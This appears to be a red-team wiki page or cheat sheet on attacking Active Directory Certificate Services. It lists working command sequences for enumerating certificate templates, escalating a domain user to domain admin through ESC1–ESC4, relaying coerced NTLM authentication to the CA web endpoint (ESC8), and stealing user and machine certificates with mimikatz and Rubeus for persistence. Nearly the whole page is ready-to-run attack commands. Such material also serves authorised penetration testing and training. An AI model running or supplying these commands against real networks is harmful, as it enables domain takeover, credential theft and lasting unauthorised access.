Certificate Services (AD CS)
Active Directory Certificate Services (AD CS) is a server role that allows you to build a public key infrastructure (PKI). This can provide public key cryptography, digital certificates, and digital signature capabilities.
Misconfigurations can introduce security risks that actors can exploit - in this case, for privilege escalation (even domain user to domain admin) and persistence.
Automated Tool: https://github.com/grimlockx/ADCSKiller
Certificate Enumeration
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe cas
crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs
windapsearch -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=domain,DC=local' --attrs dn,dnshostname --dc 'domaincontroller' -d 'domain.local' -u 'user' -p 'password'
ntlmrelayx -t "ldap://domaincontroller" --dump-adcs
certipy find -u {user} -p {password} -dc-ip {dcIP}
grep -i Vuln -A1 {certipy-output}.txt
ESC1
AD CS certificate templates are provided by Microsoft as a starting point for distributing certificates. They are designed to be duplicated and configured for specific needs. Misconfigurations within these templates can be abused for privilege escalation. When a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN), then its vulnerable to ESC1.
- With Certify
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe find /vulnerable
If we have enrollment rights, that configuration allows us to request a certificate for any other domain user (including a domain admin) and use it for authentication:
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:{ca name} /template:{template name} /altname:{target user}
Then copy the whole certificate (both the private key and certificate) and save it to cert.pem on a Linux machine.
Then use the provided openssl command:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Now convert cert.pfx into a base64 encoded string so it can be used with Rubeus:
cat cert.pfx | base64 -w 0
Then request a TGT for the user using the certificate:
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{target user} /certificate:{certificate base64 string} /password:{password we choosed when exporting the certificate} /nowrap
- With Certipy
To request the certificate and authenticate with it:
certipy req -u {user} -p {password} -ca {CertificateAuthority} -target {CAHostname} -template {vulnTemplate} -upn {targetUsername} -dns {DNSServer}
certipy auth -pfx {file.pfx} -dc-ip {dcIP}
ESC2
ESC2 is when a certificate template can be used for any purpose and the compromised user can enrroll.
- With Certipy
First, request a certificate for the currently compromised user:
certipy req -u '<compromised user>' -p '<password>' -dc-ip '<DC IP>' -target '<target ca dns name>' -ca '<short CA name>' -template '<vulnerable template name>' -debug
The certificate generated from the request above can now be used to sign new certificates. To request a certificate on behalf of the domain admin:
certipy req -u '<compromised user>' -p '<password>' -dc-ip '<DC IP>' -target '<target ca dns name>' -ca '<short CA name>' -template 'User' -on-behalf-of '<domain>\<domain admin user>' -pfx <pfx file saved from previous command>.pfx -debug
Now, with the certificate we can authenticate as the domain admin. The following command will try to obtain a TGT and NTHash for that user:
certipy auth -pfx <file.pfx> -dc-ip <dcIP>
ESC3
ESC3 is when a certificate template has Certificate Request Agent EKU set and the compromised user can enrroll.
- With Certipy
First, we must request a certificate based on the vulnerable certificate template:
certipy req -username '<compromised user>@<domain>' -password '<password>' -ca '<short CA name>' -target '<target ca dns name>' -template '<vulnerable template name>'
We can then use the Certificate Request Agent certificate to request a certificate on behalf of other another user:
certipy req -username '<compromised user>@<domain>' -password '<password>' -ca '<short CA name>' -target '<target ca dns name>' -template 'User' -on-behalf-of '<domain>\<domain admin user>' -pfx <pfx file saved from previous command>.pfx
And finally, we can use the new certificate to authenticate as the DA selected:
certipy auth -pfx <admin.pfx> -dc-ip <dcIP>
ESC4
ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.
- With Certipy
By default, Certipy will overwrite the configuration to make it vulnerable to ESC1.
To modify a writable certificate and save the old one for restoring the configuration afterwards:
certipy template -u '<compromised user>' -p '<password>' -template '<vulnerable template name>' -save-old -dc-ip '<DC IP>'
The certificate template is now vulnerable to the ESC1 technique and we can now request a certificate based on the ESC4 vulnerable template and specify an arbitrary SAN:
certipy req -username '<compromised user>@<domain>' -password '<password>' -ca '<short CA name>' -target '<target ca dns name>' -template '<previous esc4 vulnerable template name>' -upn <domaian_admin>@<domain>
Then, to authenticate:
certipy auth -pfx <admin.pfx> -dc-ip <dcIP>
Finally, to restore the old configuration:
certipy template -u '<compromised user>' -p '<password>' -template '<vulnerable template name>' -configuration <old configuration previouslly saved>.json -dc-ip '<DC IP>'
NTLM Relaying to ADCS HTTP Endpoints (ESC8)
AD CS services support HTTP enrolment methods and even includes a GUI. This endpoint is usually found at http[s]://<hostname>/certsrv.
If NTLM authentication is enabled, these endpoints are vulnerable to NTLM relay attacks. A common abuse method is to coerce a domain controller to authenticate to an attacker-controlled location, relay the request to a CA to obtain a certificate for that DC, and then use it to obtain a TGT.
- Automated way with Certipy:
First, locate ESC8 with Certipy:
certipy find -u {username} -p {password} -dc-ip {dc IP}
grep -i Vuln -A1 {certipy-output}.txt
If it is vulnerable to ESC8, the with Certipy we can automate the exploitation:
certipy relay -template DomainController -ca {hostname of the CA (DNS Name in certipy output)}
Then force the authentication to the relay:
./dfscoerce.py -u {username} -p {passowrd} {attackerIP} {targetIP}
Then, certipy will save a .pfx certificate, to obatian a hash with that certificate:
certipy auth -pfx {file.pfx} -dc-ip {dcIP}
Manual way with ntlmrelayx:
First, perform a ldap query:
ldapsearch -x -b "CN=Enrollment Services,CN=Public Key Services, CN=Services,cn=Configuration,dc=Company,dc=com" -H ldap://{ip} -D {username} -W "objectclass=pKIEnrollmentService" | tee CA-enum
grep -i template CA-enum
Then, verify the endpoint:
curl -I http://{dns hostname retrieved}/certsrv/
curl -I http://{dns hostname retrieved}/certsrv/certfnsh.asp
Check the WW-Authenticate: NTLM
Now set up the relay:
impacket-ntlmrelayx -debug -smb2support -t
http://{hostname}/certsrv/certfnsh.asp
--template DomainController --adcs
Then force the authentication:
./dfscoerce.py -u {username} -p {passowrd} {attackerIP} {targetIP}
execute-assembly C:\Tools\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe {webserver IP} {target IP}
Then, the S4U2Self trick can be used to obtain usable TGS's to move laterally to it.
Also, it could be possible to do this without needing Rubeus:
./gettgtpkinit.py -pfx-base64 $(cat retrieved-cert) "DomainName/Machine$" "Machine.ccache" -dc-ip {dc-ip}
Now there are two options, the first one is using the .ccahe ticket to authenticate (Tickets on Linux). The other is using the output key from the previous command to grab a hash:
./getnthash.py Domain/machineName\$ -key {key} -dc-ip {dcIP}
User & Computer Persistence
Certificates can also be useful for maintaining persistent access to both users and computers, because they tend to have a longer shelf-life compared to passwords. For example, User certificates are valid for an entire year by default, regardless of password changes.
Certificates only become invalid if they're revoked by the CA (or expire). This also does not rely on any vulnerable templates. We can extract certificates that have already been issued, or just request new ones.
- User Persistence
User certificates that have already been issued can be found in the user's Personal Certificate store.
If we have a Beacon running on their machine, we can enumerate their certificates with Seatbelt.
Then to export certificates:
mimikatz crypto::certificates /export
Then we need to download the certificates in our linux machine, for example, in Cobalt Strike: View > Downloads to sync files from Cobalt Strike to your local machine.
After that, base64 encode the pfx file:
ubuntu@DESKTOP-3BSK7NO ~> cat /mnt/c/Users/Attacker/Desktop/CURRENT_USER_My_0_Nina\ Lamb.pfx | base64 -w 0
Then use it with Rubeus to obtain a TGT (The export password will be mimikatz):
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:{target user} /certificate:{base64 certificate} /password:mimikatz /nowrap
This will request RC4 tickets by default, we can force the use of AES256 by including the /enctype:aes256
parameter.
If the user does not have a certificate in their store, we can just request one:
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:{ca name} /template:{template name}
- Computer Persistence
The same can be applied to computer accounts, but we must elevate to extract those certificates.
mimikatz !crypto::certificates /systemstore:local_machine /export
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt
/user:{computer target}
/enctype:aes256 /certificate:{base64 certificate} /password:mimikatz /nowrap
To request a machine certificate:
execute-assembly C:\Tools\Certify\Certify\bin\Release\Certify.exe request /ca:{ca name} /template:{template name}
/machine
- Forged Certificates
We can create Forged Certificates to gain domain dominance.
Last updated